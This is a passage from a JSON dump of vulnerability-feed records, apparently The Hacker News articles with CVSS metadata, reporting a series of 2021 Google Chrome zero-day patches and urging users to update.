[CVE-2021-37976](<https://thehackernews.com/2021/09/update-google-chrome-asap-to-patch-2.html>) \\- Information leak in core\n * [CVE-2021-38000](<https://thehackernews.com/2021/10/google-releases-urgent-chrome-update-to.html>) \\- Insufficient validation of untrusted input in Intents\n * [CVE-2021-38003](<https://thehackernews.com/2021/10/google-releases-urgent-chrome-update-to.html>) \\- Inappropriate implementation in V8\n\nChrome users are recommended to update to the latest version (96.0.4664.110) for Windows, Mac, and Linux by heading to Settings > Help > 'About Google Chrome' to mitigate any potential risk of active exploitation.\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.6, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 6.0}, "published": "2021-12-14T04:13:00", "type": "thn", "title": "Update Google Chrome to Patch New Zero-Day Exploit Detected in the Wild", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-21148", "CVE-2021-21166", "CVE-2021-21193", "CVE-2021-21206", "CVE-2021-21220", "CVE-2021-21224", "CVE-2021-30551", "CVE-2021-30554", "CVE-2021-30563", "CVE-2021-30632", "CVE-2021-30633", "CVE-2021-37973", "CVE-2021-37975", "CVE-2021-37976", "CVE-2021-38000", "CVE-2021-38003", "CVE-2021-4102"], "modified": "2021-12-14T04:30:59", "id": "THN:4CC79A3CEFEDEB0DC9CF87C5B9035209", "href": "https://thehackernews.com/2021/12/update-google-chrome-to-patch-new-zero.html", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2022-05-09T12:38:09", "description": "[](<https://thehackernews.com/new-images/img/a/AVvXsEgMs77BPvPvj6P-3E7i08R8I_ixvGQZgvS5p1CxbhBqiARNzNLx3R6X1fYdCRjiQmZfLY3-6HUY_hPXAucE_jFVypFTV0HG0XIru72uSOfwfn3mMcLC9j6XyeOCF7We4fYjthQ17-YmGUSvhPWEOlnBXakT_9U8IYdpMKEB6GeCFMJI8ihho5D-6JUO>)\n\nGoogle on Thursday rolled out an emergency update for its Chrome web browser, including fixes for two zero-day vulnerabilities that it says are being actively exploited in the wild.\n\nTracked as **CVE-2021-38000** and **CVE-2021-38003**, the weaknesses relate to insufficient validation of untrusted input in a feature called Intents as well as a case of inappropriate implementation in V8 JavaScript and WebAssembly engine. The internet giant's Threat Analysis Group (TAG) has been credited with discovering and reporting the two flaws on September 15, 2021, and October 26, 2021, respectively.\n\n\"Google is aware that exploits for CVE-2021-38000 and CVE-2021-38003 exist in the wild,\" the company [noted](<https://chromereleases.googleblog.com/2021/10/stable-channel-update-for-desktop_28.html>) in an advisory without delving into technical specifics about how the two vulnerabilities were used in attacks or the threat actors that may have weaponized them.\n\nAlso addressed as part of this stable channel update is a [use-after-free](<https://cwe.mitre.org/data/definitions/416.html>) vulnerability in the Web Transport component (CVE-2021-38002), which was demonstrated for the first time at the [Tianfu Cup](<https://thehackernews.com/2021/10/windows-10-linux-ios-chrome-and-many.html>) contest held earlier this month in China. With these patches, Google has resolved a record 16 zero-days in the web browser since the start of the year \u2014\n\n * [**CVE-2021-21148**](<https://thehackernews.com/2021/02/new-chrome-browser-0-day-under-active.html>) \\- Heap buffer overflow in V8\n * [**CVE-2021-21166**](<https://thehackernews.com/2021/03/new-chrome-0-day-bug-under-active.html>) \\- Object recycle issue in audio\n * [**CVE-2021-21193**](<https://thehackernews.com/2021/03/another-google-chrome-0-day-bug-found.html>) \\- Use-after-free in Blink\n * [**CVE-2021-21206**](<https://thehackernews.com/2021/04/2-new-chrome-0-days-under-attack-update.html>) \\- Use-after-free in Blink\n * [**CVE-2021-21220**](<https://thehackernews.com/2021/04/2-new-chrome-0-days-under-attack-update.html>) \\- Insufficient validation of untrusted input in V8 for x86_64\n * [**CVE-2021-21224**](<https://thehackernews.com/2021/04/update-your-chrome-browser-immediately.html>) \\- Type confusion in V8\n * [**CVE-2021-30551**](<https://thehackernews.com/2021/06/new-chrome-0-day-bug-under-active.html>) \\- Type confusion in V8\n * [**CVE-2021-30554**](<https://thehackernews.com/2021/06/update-your-chrome-browser-to-patch-yet.html>) \\- Use-after-free in WebGL\n * [**CVE-2021-30563**](<https://thehackernews.com/2021/07/update-your-chrome-browser-to-patch-new.html>) \\- Type confusion in V8\n * [**CVE-2021-30632**](<https://thehackernews.com/2021/09/update-google-chrome-to-patch-2-new.html>) \\- Out of bounds write in V8\n * [**CVE-2021-30633**](<https://thehackernews.com/2021/09/update-google-chrome-to-patch-2-new.html>) \\- Use-after-free in Indexed DB API\n * [**CVE-2021-37973**](<https://thehackernews.com/2021/09/urgent-chrome-update-released-to-patch.html>) \\- Use-after-free in Portals\n * [**CVE-2021-37975**](<https://thehackernews.com/2021/09/update-google-chrome-asap-to-patch-2.html>) \\- Use-after-free in V8\n * [**CVE-2021-37976**](<https://thehackernews.com/2021/09/update-google-chrome-asap-to-patch-2.html>) \\- Information leak in core\n\nChrome users are advised to update to the latest version (95.0.4638.69) for Windows, Mac, and Linux by heading to Settings > Help > 'About Google Chrome' to mitigate any potential risk of active exploitation.\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.6, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 6.0}, "published": "2021-10-29T04:08:00", "type": "thn", "title": "Google Releases Urgent Chrome Update to Patch 2 Actively Exploited 0-Day Bugs", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-21148", "CVE-2021-21166", "CVE-2021-21193", "CVE-2021-21206", "CVE-2021-21220", "CVE-2021-21224", "CVE-2021-30551", "CVE-2021-30554", "CVE-2021-30563", "CVE-2021-30632", "CVE-2021-30633", "CVE-2021-37973", "CVE-2021-37975", "CVE-2021-37976", "CVE-2021-38000", "CVE-2021-38002", "CVE-2021-38003"], "modified": "2021-10-29T04:08:52", "id": "THN:B7217784F9D53002315C9C43CCC73766", "href": "https://thehackernews.com/2021/10/google-releases-urgent-chrome-update-to.html", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2022-05-09T12:39:20", "description": "[](<https://thehackernews.com/images/--Br-zb7NQb0/YPEUTqMvgsI/AAAAAAAADNw/cesEHjkHFKgyqC_MTP_ji5iUXUCeqoH1QCLcBGAsYHQ/s0/chrome-update.jpg>)\n\nGoogle has pushed out a new security update to Chrome browser for Windows, Mac, and Linux with multiple fixes, including a zero-day that it says is being exploited in the wild.\n\nThe latest patch resolves a total of eight issues, one of which concerns a type confusion issue in its V8 open-source and JavaScript engine ([CVE-2021-30563](<https://chromereleases.googleblog.com/2021/07/stable-channel-update-for-desktop.html>)). The search giant credited an anonymous researcher for reporting the flaw on July 12.\n\nAs is usually the case with actively exploited flaws, the company issued a terse statement acknowledging that \"an exploit for CVE-2021-30563 exists in the wild\" while refraining from sharing full details about the underlying vulnerability used in the attacks due to its serious nature and the possibility that doing so could lead to further abuse.\n\nCVE-2021-30563 also marks the ninth zero-day addressed by Google to combat real-world attacks against Chrome users since the start of the year \u2014\n\n * [**CVE-2021-21148**](<https://thehackernews.com/2021/02/new-chrome-browser-0-day-under-active.html>) \\- Heap buffer overflow in V8\n * [**CVE-2021-21166**](<https://thehackernews.com/2021/03/new-chrome-0-day-bug-under-active.html>) \\- Object recycle issue in audio\n * [**CVE-2021-21193**](<https://thehackernews.com/2021/03/another-google-chrome-0-day-bug-found.html>) \\- Use-after-free in Blink\n * [**CVE-2021-21206**](<https://thehackernews.com/2021/04/2-new-chrome-0-days-under-attack-update.html>) \\- Use-after-free in Blink\n * [**CVE-2021-21220**](<https://thehackernews.com/2021/04/2-new-chrome-0-days-under-attack-update.html>) \\- Insufficient validation of untrusted input in V8 for x86_64\n * [**CVE-2021-21224**](<https://thehackernews.com/2021/04/update-your-chrome-browser-immediately.html>) \\- Type confusion in V8\n * [**CVE-2021-30551**](<https://thehackernews.com/2021/06/new-chrome-0-day-bug-under-active.html>) \\- Type confusion in V8\n * [**CVE-2021-30554**](<https://thehackernews.com/2021/06/update-your-chrome-browser-to-patch-yet.html>) \\- Use-after-free in WebGL\n\nChrome users are advised to update to the latest version (91.0.4472.164) by heading to Settings > Help > 'About Google Chrome' to mitigate the risk associated with the flaw.\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-07-16T05:08:00", "type": "thn", "title": "Update Your Chrome Browser to Patch New Zero\u2011Day Bug Exploited in the Wild", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-21148", "CVE-2021-21166", "CVE-2021-21193", "CVE-2021-21206", "CVE-2021-21220", "CVE-2021-21224", "CVE-2021-30551", "CVE-2021-30554", "CVE-2021-30563"], "modified": "2021-07-16T05:08:47", "id": "THN:C736174C6B0ADC38AA88BC58F30271DA", "href": "https://thehackernews.com/2021/07/update-your-chrome-browser-to-patch-new.html", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2022-05-09T12:37:14", "description": "[](<https://thehackernews.com/new-images/img/a/AVvXsEggQTDQ-V9WbcSJKwsXKGeYWFxP3jSKikqYhYG8xpFa_NiB7aFJV8tcR11eRFpoq9nIOMlHfbefT2pZC9vdUHCul3SAafHr4t5T-oIIj-H61WEAlv8x9Mfzo1cqzuxor4bqF090P_C7w7fQqzoSFEmUVm1PvbmzU9YENMC2O_ZAEkOC_qbBbzYZdzhA>)\n\nGoogle on Thursday pushed urgent security fixes for its Chrome browser, including a pair of new security weaknesses that the company said are being exploited in the wild, making them the fourth and fifth actively zero-days plugged this month alone.\n\nThe issues, designated as [CVE-2021-37975 and CVE-2021-37976](<https://chromereleases.googleblog.com/2021/09/stable-channel-update-for-desktop_30.html>), are part of a total of four patches, and concern a [use-after-free flaw](<https://cwe.mitre.org/data/definitions/416.html>) in V8 JavaScript and WebAssembly engine as well as an information leak in core.\n\nAs is usually the case, the tech giant has refrained from sharing any additional details regarding how these zero-day vulnerabilities were used in attacks so as to allow a majority of users to be updated with the patches, but noted that it's aware that \"exploits for CVE-2021-37975 and CVE-2021-37976 exist in the wild.\"\n\nAn anonymous researcher has been credited with reporting CVE-2021-37975. The discovery of CVE-2021-37976, on the other hand, involves Cl\u00e9ment Lecigne from Google Threat Analysis Group, who was also credited with [CVE-2021-37973](<https://thehackernews.com/2021/09/urgent-chrome-update-released-to-patch.html>), another actively exploited use-after-free vulnerability in Chrome's Portals API that was reported last week, raising the possibility that the two flaws may have been stringed together as part of an exploit chain to execute arbitrary code.\n\nWith the latest update, Google has addressed a record 14 zero-days in the web browser since the start of the year.\n\n * [CVE-2021-21148](<https://thehackernews.com/2021/02/new-chrome-browser-0-day-under-active.html>) \\- Heap buffer overflow in V8\n * [CVE-2021-21166](<https://thehackernews.com/2021/03/new-chrome-0-day-bug-under-active.html>) \\- Object recycle issue in audio\n * [CVE-2021-21193](<https://thehackernews.com/2021/03/another-google-chrome-0-day-bug-found.html>) \\- Use-after-free in Blink\n * [CVE-2021-21206](<https://thehackernews.com/2021/04/2-new-chrome-0-days-under-attack-update.html>) \\- Use-after-free in Blink\n * [CVE-2021-21220](<https://thehackernews.com/2021/04/2-new-chrome-0-days-under-attack-update.html>) \\- Insufficient validation of untrusted input in V8 for x86_64\n * [CVE-2021-21224](<https://thehackernews.com/2021/04/update-your-chrome-browser-immediately.html>) \\- Type confusion in V8\n * [CVE-2021-30551](<https://thehackernews.com/2021/06/new-chrome-0-day-bug-under-active.html>) \\- Type confusion in V8\n * [CVE-2021-30554](<https://thehackernews.com/2021/06/update-your-chrome-browser-to-patch-yet.html>) \\- Use-after-free in WebGL\n * [CVE-2021-30563](<https://thehackernews.com/2021/07/update-your-chrome-browser-to-patch-new.html>) \\- Type confusion in V8\n * [CVE-2021-30632](<https://thehackernews.com/2021/09/update-google-chrome-to-patch-2-new.html>) \\- Out of bounds write in V8\n * [CVE-2021-30633](<https://thehackernews.com/2021/09/update-google-chrome-to-patch-2-new.html>) \\- Use-after-free in Indexed DB API\n * [CVE-2021-37973](<https://thehackernews.com/2021/09/urgent-chrome-update-released-to-patch.html>) \\- Use-after-free in Portals\n\nChrome users are advised to update to the latest version (94.0.4606.71) for Windows, Mac, and Linux by heading to Settings > Help > 'About Google Chrome' to mitigate any potential risk of active exploitation.\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.6, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 6.0}, "published": "2021-10-01T03:30:00", "type": "thn", "title": "Update Google Chrome ASAP to Patch 2 New Actively Exploited Zero-Day Flaws", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-21148", "CVE-2021-21166", "CVE-2021-21193", "CVE-2021-21206", "CVE-2021-21220", "CVE-2021-21224", "CVE-2021-30551", "CVE-2021-30554", "CVE-2021-30563", "CVE-2021-30632", "CVE-2021-30633", "CVE-2021-37973", "CVE-2021-37975", "CVE-2021-37976"], "modified": "2021-10-05T05:27:09", "id": "THN:50D7C51FE6D69FC5DB5B37402AD0E412", "href": "https://thehackernews.com/2021/09/update-google-chrome-asap-to-patch-2.html", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2022-05-09T12:37:19", "description": "[](<https://thehackernews.com/images/-FOgCdN3CSOk/YUAgGS1bB1I/AAAAAAAADyc/2oKkq_Mon1AnpsrRVosSNgmXm6ZdbQTXACLcBGAsYHQ/s0/chrome-update.jpg>)\n\nGoogle on Monday released security updates for Chrome web browser to address a total of 11 security issues, two of which it says are actively exploited zero-days in the wild.\n\nTracked as **CVE-2021-30632** and **CVE-2021-30633**, the [vulnerabilities](<https://chromereleases.googleblog.com/2021/09/stable-channel-update-for-desktop.html>) concern an out of bounds write in V8 JavaScript engine and a use after free flaw in Indexed DB API respectively, with the internet giant crediting anonymous researchers for reporting the bugs on September 8.\n\nAs is typically the case, the company said it's \"aware that exploits for CVE-2021-30632 and CVE-2021-30633 exist in the wild\" without sharing additional specifics about how, when, and where the vulnerabilities were exploited, or the threat actors that may be abusing them.\n\nWith these two security shortcomings, Google has addressed a total of 11 zero-day vulnerabilities in Chrome since the start of the year \u2014\n\n * [**CVE-2021-21148**](<https://thehackernews.com/2021/02/new-chrome-browser-0-day-under-active.html>) \\- Heap buffer overflow in V8\n * [**CVE-2021-21166**](<https://thehackernews.com/2021/03/new-chrome-0-day-bug-under-active.html>) \\- Object recycle issue in audio\n * [**CVE-2021-21193**](<https://thehackernews.com/2021/03/another-google-chrome-0-day-bug-found.html>) \\- Use-after-free in Blink\n * [**CVE-2021-21206**](<https://thehackernews.com/2021/04/2-new-chrome-0-days-under-attack-update.html>) \\- Use-after-free in Blink\n * [**CVE-2021-21220**](<https://thehackernews.com/2021/04/2-new-chrome-0-days-under-attack-update.html>) \\- Insufficient validation of untrusted input in V8 for x86_64\n * [**CVE-2021-21224**](<https://thehackernews.com/2021/04/update-your-chrome-browser-immediately.html>) \\- Type confusion in V8\n * [**CVE-2021-30551**](<https://thehackernews.com/2021/06/new-chrome-0-day-bug-under-active.html>) \\- Type confusion in V8\n * [**CVE-2021-30554**](<https://thehackernews.com/2021/06/update-your-chrome-browser-to-patch-yet.html>) \\- Use-after-free in WebGL\n * [**CVE-2021-30563**](<https://thehackernews.com/2021/07/update-your-chrome-browser-to-patch-new.html>) \\- Type confusion in V8\n\nChrome users are advised to update to the latest version (93.0.4577.82) for Windows, Mac, and Linux by heading to Settings > Help > 'About Google Chrome' to mitigate the risk associated with the flaws.\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.6, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 6.0}, "published": "2021-09-14T04:08:00", "type": "thn", "title": "Update Google Chrome to Patch 2 New Zero-Day Flaws Under Attack", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-21148", "CVE-2021-21166", "CVE-2021-21193", "CVE-2021-21206", "CVE-2021-21220", "CVE-2021-21224", "CVE-2021-30551", "CVE-2021-30554", "CVE-2021-30563", "CVE-2021-30632", "CVE-2021-30633"], "modified": "2021-09-19T08:13:46", "id": "THN:1A836FDDE57334BC4DAFA65E6DFA02E4", "href": "https://thehackernews.com/2021/09/update-google-chrome-to-patch-2-new.html", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2022-05-09T12:37:16", "description": "[](<https://thehackernews.com/images/-EBTuV2RF5wo/YU6_b4n3Y4I/AAAAAAAAD5w/Rv4cfNWgTzsitUR4O-m9Hoo5Jsb-IyxJACLcBGAsYHQ/s0/chrome-update.jpg>)\n\nGoogle on Friday rolled out an emergency security patch to its Chrome web browser to address a security flaw that's known to have an exploit in the wild.\n\nTracked as [CVE-2021-37973](<https://chromereleases.googleblog.com/2021/09/stable-channel-update-for-desktop_24.html>), the vulnerability has been described as [use after free](<https://cwe.mitre.org/data/definitions/416.html>) in [Portals API](<https://web.dev/hands-on-portals/>), a web page navigation system that enables a page to show another page as an inset and \"perform a seamless transition to a new state, where the formerly-inset page becomes the top-level document.\"\n\nCl\u00e9ment Lecigne of Google Threat Analysis Group (TAG) has been credited with reporting the flaw. Additional specifics pertaining to the weakness have not been disclosed in light of active exploitation and to allow a majority of the users to apply the patch, but the internet giant said it's \"aware that an exploit for CVE-2021-37973 exists in the wild.\"\n\nThe update arrives a day after Apple moved to close an actively exploited security hole in older versions of iOS and macOS ([CVE-2021-30869](<https://thehackernews.com/2021/09/urgent-apple-ios-and-macos-updates.html>)), which the TAG noted as being \"used in conjunction with a N-day remote code execution targeting WebKit.\" With the latest fix, Google has addressed a total of [12 zero-day flaws in Chrome](<https://thehackernews.com/2021/09/update-google-chrome-to-patch-2-new.html>) since the start of 2021:\n\n * [CVE-2021-21148](<https://thehackernews.com/2021/02/new-chrome-browser-0-day-under-active.html>) \\- Heap buffer overflow in V8\n * [CVE-2021-21166](<https://thehackernews.com/2021/03/new-chrome-0-day-bug-under-active.html>) \\- Object recycle issue in audio\n * [CVE-2021-21193](<https://thehackernews.com/2021/03/another-google-chrome-0-day-bug-found.html>) \\- Use-after-free in Blink\n * [CVE-2021-21206](<https://thehackernews.com/2021/04/2-new-chrome-0-days-under-attack-update.html>) \\- Use-after-free in Blink\n * [CVE-2021-21220](<https://thehackernews.com/2021/04/2-new-chrome-0-days-under-attack-update.html>) \\- Insufficient validation of untrusted input in V8 for x86_64\n * [CVE-2021-21224](<https://thehackernews.com/2021/04/update-your-chrome-browser-immediately.html>) \\- Type confusion in V8\n * [CVE-2021-30551](<https://thehackernews.com/2021/06/new-chrome-0-day-bug-under-active.html>) \\- Type confusion in V8\n * [CVE-2021-30554](<https://thehackernews.com/2021/06/update-your-chrome-browser-to-patch-yet.html>) \\- Use-after-free in WebGL\n * [CVE-2021-30563](<https://thehackernews.com/2021/07/update-your-chrome-browser-to-patch-new.html>) \\- Type confusion in V8\n * [CVE-2021-30632](<https://thehackernews.com/2021/09/update-google-chrome-to-patch-2-new.html>) \\- Out of bounds write in V8\n * [CVE-2021-30633](<https://thehackernews.com/2021/09/update-google-chrome-to-patch-2-new.html>) \\- Use-after-free in Indexed DB API\n\nChrome users are advised to update to the latest version (94.0.4606.61) for Windows, Mac, and Linux by heading to Settings > Help > 'About Google Chrome' to mitigate the risk associated with the flaw.\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.6, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 6.0}, "published": "2021-09-25T06:39:00", "type": "thn", "title": "Urgent Chrome Update Released to Patch Actively Exploited Zero-Day Vulnerability", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-21148", "CVE-2021-21166", "CVE-2021-21193", "CVE-2021-21206", "CVE-2021-21220", "CVE-2021-21224", "CVE-2021-30551", "CVE-2021-30554", "CVE-2021-30563", "CVE-2021-30632", "CVE-2021-30633", "CVE-2021-30869", "CVE-2021-37973"], "modified": "2021-09-27T04:38:24", "id": "THN:6A9CD6F085628D08978727C0FF597535", "href": "https://thehackernews.com/2021/09/urgent-chrome-update-released-to-patch.html", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-05-09T12:37:58", "description": "[](<https://thehackernews.com/images/--v2cn8JGV00/YMGRd9cFvrI/AAAAAAAACz4/i5Stk6m4GEgwbul82T6lZeEbdMMNfofJQCLcBGAsYHQ/s0/chrome-zero-day-vulnerability.jpg>)\n\nAttention readers, if you are using Google Chrome browser on your Windows, Mac, or Linux computers, you need to update it immediately to the latest version Google released earlier today.\n\nThe internet services company has rolled out an urgent update to the browser to address 14 newly discovered security issues, including a zero-day flaw that it says is being actively exploited in the wild.\n\nTracked as [CVE-2021-30551](<https://chromereleases.googleblog.com/2021/06/stable-channel-update-for-desktop.html>), the vulnerability stems from a type confusion issue in its V8 open-source and JavaScript engine. Sergei Glazunov of Google Project Zero has been credited with discovering and reporting the flaw.\n\nAlthough the search giant's Chrome team issued a terse statement acknowledging \"an exploit for CVE-2021-30551 exists in the wild,\" Shane Huntley, Director of Google's Threat Analysis Group, [hinted](<https://twitter.com/ShaneHuntley/status/1402712986289016835>) that the vulnerability was leveraged by the same actor that abused [CVE-2021-33742](<https://thehackernews.com/2021/06/update-your-windows-computers-to-patch.html>), an actively exploited remote code execution flaw in Windows MSHTML platform that was addressed by Microsoft as part of its Patch Tuesday update on June 8.\n\n[](<https://thehackernews.com/images/-XI4fkisfDp0/YMGPq0RtpKI/AAAAAAAACzw/d0mpshr20nw2j--sOXxBrrTJIj2IP95ewCLcBGAsYHQ/s0/chrome-zero-day.jpg>)\n\nThe two zero-days are said to have been provided by a commercial exploit broker to a nation-state actor, which used them in limited attacks against targets in Eastern Europe and the Middle East, Huntley said.\n\nMore technical details about the nature of the attacks are to be released in the coming weeks so as to allow a majority of the users to install the update and prevent other threat actors from creating exploits targeting the flaw.\n\nWith the latest fix, Google has addressed a total of seven zero-days in Chrome since the start of the year \u2014\n\n * [**CVE-2021-21148**](<https://thehackernews.com/2021/02/new-chrome-browser-0-day-under-active.html>) \\- Heap buffer overflow in V8\n * [**CVE-2021-21166**](<https://thehackernews.com/2021/03/new-chrome-0-day-bug-under-active.html>) \\- Object recycle issue in audio\n * [**CVE-2021-21193**](<https://thehackernews.com/2021/03/another-google-chrome-0-day-bug-found.html>) \\- Use-after-free in Blink\n * [**CVE-2021-21206**](<https://thehackernews.com/2021/04/2-new-chrome-0-days-under-attack-update.html>) \\- Use-after-free in Blink\n * [**CVE-2021-21220**](<https://thehackernews.com/2021/04/2-new-chrome-0-days-under-attack-update.html>) \\- Insufficient validation of untrusted input in V8 for x86_64\n * [**CVE-2021-21224**](<https://thehackernews.com/2021/04/update-your-chrome-browser-immediately.html>) \\- Type confusion in V8\n\nChrome users can update to the latest version (91.0.4472.101) by heading to Settings > Help > About Google Chrome to mitigate the risk associated with the flaw.\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": 